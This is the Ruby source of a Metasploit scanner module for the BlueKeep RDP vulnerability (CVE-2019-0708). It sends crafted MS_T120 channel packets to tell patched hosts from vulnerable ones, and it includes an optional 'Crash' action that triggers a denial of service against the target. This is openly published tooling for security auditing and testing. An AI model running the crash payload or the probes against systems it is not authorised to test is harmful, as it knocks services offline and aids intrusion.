##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::RDP
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check',
        'Description' => %q{
          This module checks a range of hosts for the CVE-2019-0708 vulnerability
          by binding the MS_T120 channel outside of its normal slot and sending
          non-DoS packets which respond differently on patched and vulnerable hosts.
          It can optionally trigger the DoS vulnerability.
        },
        'Author' =>
          [
            'National Cyber Security Centre', # Discovery
            'JaGoTu', # Module
            'zerosum0x0', # Module
            'Tom Sellers' # TLS support, packet documenentation, DoS implementation
          ],
        'References' =>
          [
            [ 'CVE', '2019-0708' ],
            [ 'URL', 'https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ],
            [ 'URL', 'https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html' ]
          ],
        'DisclosureDate' => '2019-05-14',
        'License' => MSF_LICENSE,
        'Actions' => [
          ['Scan', 'Description' => 'Scan for exploitable targets'],
          ['Crash', 'Description' => 'Trigger denial of service vulnerability'],
        ],
        'DefaultAction' => 'Scan',
        'Notes' =>
          {
            'Stability' => [ CRASH_SAFE ],
            'AKA' => ['BlueKeep']
          }
      )
    )
  end

  def report_goods
    report_vuln(
      host: rhost,
      port: rport,
      proto: 'tcp',
      name: name,
      info: 'Behavior indicates a missing Microsoft Windows RDP patch for CVE-2019-0708',
      refs: references
    )
  end

  def run_host(ip)
    # Allow the run command to call the check command

    status = check_host(ip)
    if status == Exploit::CheckCode::Vulnerable
      print_good(status[1].to_s)
    elsif status == Exploit::CheckCode::Safe
      vprint_error(status[1].to_s)
    else
      vprint_status(status[1].to_s)
    end

    status
  end

  def rdp_reachable
    rdp_connect
    rdp_disconnect
    return true
  rescue Rex::ConnectionRefused
    return false
  rescue Rex::ConnectionTimeout
    return false
  end

  def check_host(_ip)
    # The check command will call this method instead of run_host
    status = Exploit::CheckCode::Unknown

    begin
      begin
        rdp_connect
      rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
        return Exploit::CheckCode::Safe('The target service is not running or refused our connection.')
      end

      status = check_rdp_vuln
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e
      bt = e.backtrace.join("\n")
      vprint_error("Unexpected error: #{e.message}")
      vprint_line(bt)
      elog(e)
    rescue RdpCommunicationError
      vprint_error('Error communicating RDP protocol.')
      status = Exploit::CheckCode::Unknown
    rescue Errno::ECONNRESET
      vprint_error('Connection reset')
    rescue StandardError => e
      bt = e.backtrace.join("\n")
      vprint_error("Unexpected error: #{e.message}")
      vprint_line(bt)
      elog(e)
    ensure
      rdp_disconnect
    end

    status
  end

  def check_for_patch
    begin
      6.times do
        _res = rdp_recv
      end
    rescue RdpCommunicationError
      # we don't care
    end

    # The loop below sends Virtual Channel PDUs (2.2.6.1) that vary in length
    # The arch governs which of the packets triggers the desired response
    # which is an MCS Disconnect Provider Ultimatum or a timeout.

    # Disconnect Provider message of a valid size for each platform
    # has proven to be safe to send as part of the vulnerability check.
    x86_string = '00000000020000000000000000000000'
    x64_string = '0000000000000000020000000000000000000000000000000000000000000000'

    if action.name == 'Crash'
      vprint_status('Sending denial of service payloads')
      # Length and chars are arbitrary but total length needs to be longer than
      # 16 for x86 and 32 for x64. Making the payload too long seems to cause
      # the DoS to fail. Note that sometimes the DoS seems to fail. Increasing
      # the payload size and sending more of them doesn't seem to improve the
      # reliability. It *seems* to happen more often on x64, I haven't seen it
      # fail against x86. Repeated attempts will generally trigger the DoS.
      x86_string += 'FF' * 1
      x64_string += 'FF' * 2
    else
      vprint_status('Sending patch check payloads')
    end

    chan_flags = RDPConstants::CHAN_FLAG_FIRST | RDPConstants::CHAN_FLAG_LAST
    channel_id = [1005].pack('S>')
    x86_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x86_string].pack('H*')), channel_id)

    x64_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x64_string].pack('H*')), channel_id)

    6.times do
      rdp_send(x86_packet)
      rdp_send(x64_packet)

      # A single pass should be sufficient to cause DoS
      if action.name == 'Crash'
        sleep(1)
        rdp_disconnect

        sleep(5)
        if rdp_reachable
          print_error("Target doesn't appear to have been crashed. Consider retrying.")
          return Exploit::CheckCode::Unknown
        else
          print_good('Target service appears to have been successfully crashed.')
          return Exploit::CheckCode::Vulnerable('The target appears to have been crashed by disconnecting from an incorrectly-bound MS_T120 channel.')
        end
      end

      # Quick check for the Ultimatum PDU
      begin
        res = rdp_recv(-1, 1)
      rescue EOFError
        # we don't care
      end
      return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.') if res&.include?(['0300000902f0802180'].pack('H*'))

      # Slow check for Ultimatum PDU. If it doesn't respond in a timely
      # manner then the host is likely patched.
      begin
        4.times do
          res = rdp_recv
          # 0x2180 = MCS Disconnect Provider Ultimatum PDU - 2.2.2.3
          if res.include?(['0300000902f0802180'].pack('H*'))
            return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.')
          end
        end
      rescue RdpCommunicationError
        # we don't care
      end
    end

    Exploit::CheckCode::Safe
  end

  def check_rdp_vuln
    # check if rdp is open
    is_rdp, version_info = rdp_fingerprint
    unless is_rdp
      vprint_error('Could not connect to RDP service.')
      return Exploit::CheckCode::Unknown
    end
    rdp_disconnect
    rdp_connect
    is_rdp, server_selected_proto = rdp_check_protocol

    requires_nla = [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include? server_selected_proto
    product_version = (version_info && version_info[:product_version]) ? version_info[:product_version] : 'N/A'
    info = "Detected RDP on #{peer} (Windows version: #{product_version})"

    service_info = "Requires NLA: #{(!version_info[:product_version].nil? && requires_nla) ? 'Yes' : 'No'}"
    info << " (#{service_info})"

    vprint_status(info)

    if requires_nla
      vprint_status('Server requires NLA (CredSSP) security which mitigates this vulnerability.')
      return Exploit::CheckCode::Safe
    end

    chans = [
      ['cliprdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
      ['rdpsnd', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
      ['snddbg', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
      ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
    ]

    success = rdp_negotiate_security(chans, server_selected_proto)
    return Exploit::CheckCode::Unknown unless success

    rdp_establish_session

    result = check_for_patch

    if result == Exploit::CheckCode::Vulnerable
      report_goods
    end

    # Can't determine, but at least we know the service is running
    result
  end

end